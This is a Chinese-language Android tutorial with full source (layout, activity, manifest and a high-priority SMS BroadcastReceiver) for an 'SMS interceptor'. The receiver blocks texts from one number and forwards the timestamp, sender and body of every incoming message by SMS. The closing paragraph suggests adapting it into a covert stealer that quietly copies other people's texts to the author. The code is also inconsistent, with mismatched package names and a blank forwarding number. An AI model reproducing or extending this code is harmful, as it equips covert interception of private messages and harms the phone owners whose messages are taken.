|
下面是网友vnplalvyulin 为178折社区写的一个Android短信拦截器代码,在这个拦截器中,一共通过两种方式来设置拦截,一种是在AndroidManifest.xml直接设置拦截,另外一种是通过手动注册来设计拦截。在这里我们需要通过查文档找到短信收发的一些权限。
下面我附上自己做的这个拦截器的代码供大家参考。
main.xml layout - <?xml version="1.0" encoding="utf-8"?>
- <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:orientation="vertical"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent"
- >
- <Button
- android:layout_width="fill_parent"
- android:layout_height="wrap_content"
- android:text="注册拦截"
- android:onClick="regiset"
- />
- <Button
- android:layout_width="fill_parent"
- android:layout_height="wrap_content"
- android:text="解注册拦截"
- android:onClick="unregiset"
- />
- </LinearLayout>
复制代码 首页显示的SmsListenerActivity: - package com.tk178zhe.android.SmsListener;
- import android.app.Activity;
- import android.content.IntentFilter;
- import android.os.Bundle;
- import android.view.View;
- import android.widget.Toast;
- public class SmsListenerActivity extends Activity {
- private SmsRecevier recevier;
- private boolean isregiset = false;
- private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.main);
- recevier = new SmsRecevier();
- }
- public void regiset(View v) {
- IntentFilter filter = new IntentFilter(ACTION);
- filter.setPriority(1000);//设置优先级最大
- registerReceiver(recevier, filter);
- isregiset = true;
- Toast.makeText(this, "注册成功", 0).show();
- }
- public void unregiset(View v) {
- if (recevier != null && isregiset) {
- unregisterReceiver(recevier);
- isregiset = false;
- Toast.makeText(this, "解注册成功", 0).show();
- } else
- Toast.makeText(this, "尚未注册", 0).show();
- }
- @Override
- protected void onDestroy() {
- super.onDestroy();
- if (recevier != null && isregiset) {
- unregisterReceiver(recevier);
- isregiset = false;
- Toast.makeText(this, "解注册成功", 0).show();
- }
- }
- }
复制代码 如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。
AndroidManifest.xml:- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.tk178zhe.android.SmsListener"
- android:versionCode="1"
- android:versionName="1.0">
- <uses-sdk android:minSdkVersion="8" />
- <application android:icon="@drawable/icon" android:label="@string/app_name">
- <activity android:name=".SmsListenerActivity"
- android:label="@string/app_name">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- <!-- 这是隐式的设置receiver 我们做的这个拦截器需要这样去做
- <receiver android:name=".SmsRecevier">
- <intent-filter android:priority="1000"> 将优先级设到最大
- <action android:name="android.provider.Telephony.SMS_RECEIVED" />
- </intent-filter>
- </receiver>
- -->
- </application>
- <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
- <uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->
- <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
- </manifest>
复制代码 SmsRecevier类用作拦截信息。- package com.tk178zhe.android.android;
- import java.text.SimpleDateFormat;
- import java.util.Date;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.telephony.SmsManager;
- import android.telephony.SmsMessage;
- import android.util.Log;
- public class SmsRecevier extends BroadcastReceiver {
- public SmsRecevier() {
- Log.v("TAG", "SmsRecevier create");
- }
- @Override
- public void onReceive(Context context, Intent intent) {
- Log.v("TAG", "SmsRecevier onReceive");
- Object[] pdus = (Object[]) intent.getExtras().get("pdus");
- if (pdus != null && pdus.length > 0) {
- SmsMessage[] messages = new SmsMessage[pdus.length];
- for (int i = 0; i < pdus.length; i++) {
- byte[] pdu = (byte[]) pdus[i];
- messages[i] = SmsMessage.createFromPdu(pdu);
- }
- for (SmsMessage message : messages) {
- String content = message.getMessageBody();// 得到短信内容
- String sender = message.getOriginatingAddress();// 得到发信息的号码
- if (sender.equals("110")) {
- abortBroadcast();// 中止发送
- Log.e("TAG", "此号码为黑名单号码,已拦截!");
- }
- Date date = new Date(message.getTimestampMillis());
- SimpleDateFormat format = new SimpleDateFormat(
- "yyyy-MM-dd HH:mm:ss");
- String sendContent = format.format(date) + ":" + sender + "--"
- + content;
- SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的
- smsManager.sendTextMessage("", null, sendContent, null,
- null);// 转发给
- Log.v("TAG", sendContent);
- }
- }
- }
- }
复制代码 这样一个短信拦截器就做好了,当110这个号码给别人发信息时,就会被拦截,转发给178。我们可以通过Log的打印信息来观察结果。当然我们可以做一个不拦截,但是可以窃取短信的短信窃取器。怎么做呢?和上面差不多,只是不需要拦截了,而是利用短信在发送给指定人的同时让它也发给自己,这样就可以做到不动声色的窃取别人的信息内容了
|
|